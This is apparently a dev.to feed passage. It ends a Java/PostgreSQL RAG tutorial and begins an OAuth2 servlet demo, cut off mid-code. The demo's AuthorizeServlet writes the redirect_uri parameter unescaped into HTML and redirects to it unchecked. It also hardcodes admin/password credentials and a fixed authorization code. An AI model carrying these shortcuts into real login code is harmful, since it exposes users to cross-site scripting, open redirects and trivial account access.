&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"INSERT INTO text_embeddings (content, embedding) VALUES (?, ?::vector)"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each piece of text is stored along with its vector representation.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔵 Phase 2: Query (RAG Flow)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Step 1: User Query
&lt;/h4&gt;

&lt;p&gt;"What is OAuth?"&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2: Convert Query → Embedding
&lt;/h4&gt;

&lt;p&gt;Same process as storing text.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Retrieve Relevant Data
&lt;/h4&gt;

&lt;p&gt;SELECT content&lt;br&gt;
FROM text_embeddings&lt;br&gt;
ORDER BY embedding &amp;lt;-&amp;gt; ?::vector&lt;br&gt;
LIMIT 3;&lt;br&gt;
👉 This finds the most similar text chunks&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: Retriever.java
&lt;/h4&gt;

&lt;p&gt;This is the R (Retrieval) in RAG.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;        &lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"""
            SELECT content
            FROM text_embeddings
            ORDER BY embedding &amp;lt;-&amp;gt; ?::vector
            LIMIT ?
            """&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;topK&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 4: Generate Answer Using LLM
&lt;/h4&gt;

&lt;p&gt;We pass retrieved data to the LLM:&lt;/p&gt;

&lt;p&gt;Context:&lt;br&gt;
OAuth 2.0 is an authorization framework...&lt;/p&gt;

&lt;p&gt;Question:&lt;br&gt;
What is OAuth?&lt;/p&gt;

&lt;p&gt;👉 The LLM generates a clean answer.&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: LLMService.java
&lt;/h4&gt;

&lt;p&gt;This is the G (Generation) in RAG.&lt;br&gt;
Passing Context to the LLM&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
                        Answer briefly in 2-3 sentences.

                        Context:
                        %s

                        Question:
                        %s
                        """&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;formatted&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We inject retrieved data into the prompt so the LLM generates grounded answers.&lt;/p&gt;

&lt;p&gt;🧪 Sample Output&lt;br&gt;
--- Retrieved Context ---&lt;br&gt;
OAuth 2.0 is an authorization framework.&lt;br&gt;
JWT is used for secure authentication.&lt;/p&gt;

&lt;p&gt;--- Final Answer ---&lt;br&gt;
OAuth is an authorization framework used to grant access to resources...&lt;br&gt;
🧠 What’s Really Happening?&lt;/p&gt;

&lt;p&gt;This is the most important part to understand:&lt;/p&gt;

&lt;p&gt;Component   Role&lt;br&gt;
Database    Stores knowledge&lt;br&gt;
Retriever   Finds relevant information&lt;br&gt;
LLM Generates answer&lt;/p&gt;

&lt;p&gt;👉 The LLM does NOT retrieve data&lt;br&gt;
👉 The database does NOT generate answers&lt;/p&gt;

&lt;h4&gt;
  
  
  💻 Full Code
&lt;/h4&gt;

&lt;p&gt;The project includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EmbeddingService.java&lt;/li&gt;
&lt;li&gt;StorageService.java&lt;/li&gt;
&lt;li&gt;Retriever.java&lt;/li&gt;
&lt;li&gt;LLMService.java&lt;/li&gt;
&lt;li&gt;RAGApp.java&lt;/li&gt;
&lt;li&gt;pom.xml&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  👉 GitHub Repository
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  🚀 Why This Approach is Powerful
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Works with your own data&lt;/li&gt;
&lt;li&gt;Reduces hallucination&lt;/li&gt;
&lt;li&gt;Fully offline (with Ollama)&lt;/li&gt;
&lt;li&gt;Production-ready pattern&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ✅ Conclusion
&lt;/h4&gt;

&lt;p&gt;We built a complete RAG pipeline using Java, PostgreSQL, and Ollama.&lt;/p&gt;

&lt;p&gt;This approach combines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your data&lt;/li&gt;
&lt;li&gt;Smart retrieval&lt;/li&gt;
&lt;li&gt;LLM reasoning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result:&lt;br&gt;
&lt;code&gt;Accurate, context-aware answers using your own knowledge base.&lt;/code&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>postgres</category>
      <category>rag</category>
    </item>
    <item>
      <title>Understanding OAuth2 Flow with a Complete Java Servlet Demo (Step-by-Step)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Wed, 25 Mar 2026 21:30:07 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-oauth2-flow-with-a-complete-java-servlet-demo-step-by-step-3bai</link>
      <guid>https://dev.to/sanjayghosh/understanding-oauth2-flow-with-a-complete-java-servlet-demo-step-by-step-3bai</guid>
      <description>&lt;p&gt;OAuth2 is everywhere.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Login with Google”&lt;/li&gt;
&lt;li&gt;“Continue with GitHub”&lt;/li&gt;
&lt;li&gt;“Sign in with Microsoft”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We use it daily—but when it comes to explaining how it actually works, things quickly get confusing.&lt;/p&gt;

&lt;p&gt;Most tutorials either:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Explain only the theory ❌&lt;/li&gt;
&lt;li&gt;Or show isolated code without context ❌&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Very few connect the full &lt;strong&gt;flow end-to-end&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  🎯 What This Article Does Differently
&lt;/h4&gt;

&lt;p&gt;In this article, we will:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Break down the &lt;strong&gt;4 core actors&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Walk through the &lt;strong&gt;entire OAuth2 flow&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Map each step to &lt;strong&gt;working Java servlet code&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Build a &lt;strong&gt;complete runnable demo&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  🧠 The Key Idea (Read This First)
&lt;/h4&gt;

&lt;p&gt;OAuth2 is &lt;strong&gt;not about authentication&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is about &lt;strong&gt;delegating access&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of giving your username/password to an application, you allow it to access your data using a &lt;strong&gt;token issued by a trusted server&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 Actors in OAuth2
&lt;/h3&gt;

&lt;p&gt;This framework involves four key roles:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Resource Owner (User)
&lt;/h4&gt;

&lt;p&gt;The user who owns the data&lt;br&gt;
Grants or denies access&lt;/p&gt;
&lt;h4&gt;
  
  
  2. Client (Application)
&lt;/h4&gt;

&lt;p&gt;The application requesting access to user data&lt;/p&gt;
&lt;h4&gt;
  
  
  3. Authorization Server
&lt;/h4&gt;

&lt;p&gt;Authenticates the user&lt;br&gt;
Issues authorization code and access token&lt;/p&gt;
&lt;h4&gt;
  
  
  4. Resource Server
&lt;/h4&gt;

&lt;p&gt;Hosts protected data&lt;br&gt;
Validates access tokens before responding&lt;/p&gt;
&lt;h3&gt;
  
  
  🔷 Real-World Example
&lt;/h3&gt;

&lt;p&gt;A common example is “Login with Google”.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User&lt;/strong&gt; → You&lt;br&gt;
&lt;strong&gt;Client&lt;/strong&gt; → Airbnb&lt;br&gt;
&lt;strong&gt;Authorization Server&lt;/strong&gt; → Google&lt;br&gt;
&lt;strong&gt;Resource Server&lt;/strong&gt; → Google APIs&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flow&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You click “Login with Google”&lt;/li&gt;
&lt;li&gt;You are redirected to Google&lt;/li&gt;
&lt;li&gt;You login and click &lt;strong&gt;Allow&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Google sends a **code **to the client&lt;/li&gt;
&lt;li&gt;Client exchanges code for &lt;strong&gt;token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Client fetches your data using the token&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;👉 This is exactly what we will implement.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔷 High-Level Flow
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Client requests authorization from the user&lt;/li&gt;
&lt;li&gt;User authenticates and grants/denies access&lt;/li&gt;
&lt;li&gt;Authorization Server returns an &lt;strong&gt;authorization code&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Client exchanges code for &lt;strong&gt;access token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Client uses access token to call Resource Server&lt;/li&gt;
&lt;li&gt;Resource Server validates token and returns data&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  🔷 Endpoints in This Demo
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Endpoint&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;/login&lt;/td&gt;
&lt;td&gt;Starts OAuth flow (Client)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/authorize&lt;/td&gt;
&lt;td&gt;User login + consent (Authorization Server)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/callback&lt;/td&gt;
&lt;td&gt;Receives authorization code (Client)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/getToken&lt;/td&gt;
&lt;td&gt;Helper to call token endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/token&lt;/td&gt;
&lt;td&gt;Issues access token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/data&lt;/td&gt;
&lt;td&gt;Protected API (Resource Server)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  🔷 Full Flow Overview
&lt;/h3&gt;

&lt;p&gt;/login &lt;br&gt;
 → redirect to /authorize&lt;br&gt;
 → user login + allow&lt;br&gt;
 → /callback (gets code)&lt;br&gt;
 → /token (gets access token)&lt;br&gt;
 → /data (uses token)&lt;/p&gt;
&lt;h3&gt;
  
  
  🔷 Step-by-Step Flow with Code
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Full implementation is available in the GitHub repository at the end of this article.&lt;br&gt;
🟢 Step 1: /login → Start Flow&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;LoginServlet.java&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class LoginServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/login"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LoginServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"http://172.21.236.75:9090/oauth/authorize?"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
                &lt;span class="s"&gt;"response_type=code&amp;amp;client_id=test&amp;amp;redirect_uri=http://172.21.236.75:9090/oauth/callback"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendRedirect&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the entry point. It redirects the user to the Authorization Server.&lt;/p&gt;

&lt;p&gt;resp.sendRedirect("&lt;a href="http://host/oauth/authorize?...%22" rel="noopener noreferrer"&gt;http://host/oauth/authorize?..."&lt;/a&gt;); &lt;/p&gt;

&lt;p&gt;👉 This is how the Client requests authorization from the User.&lt;/p&gt;

&lt;p&gt;🟢 Step 2: /authorize → User Login &amp;amp; Consent&lt;/p&gt;

&lt;p&gt;AuthorizeServlet.java&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Displays login form&lt;/li&gt;
&lt;li&gt;Accepts username/password&lt;/li&gt;
&lt;li&gt;Allows user to &lt;strong&gt;Allow **/ **Deny&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class AuthorizeServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/authorize"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AuthorizeServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;form method='post'&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"User: &amp;lt;input name='username'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"Pass: &amp;lt;input name='password' type='password'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;button name='action' value='allow'&amp;gt;Allow&amp;lt;/button&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;button name='action' value='deny'&amp;gt;Deny&amp;lt;/button&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input type='hidden' name='redirect_uri' value='"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"redirect_uri"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;/form&amp;gt;"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doPost&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"action"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;redirectUri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"redirect_uri"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"deny"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendRedirect&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirectUri&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"?error=access_denied"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pass&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"abc123"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// normally random + stored&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendRedirect&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirectUri&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"?code="&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
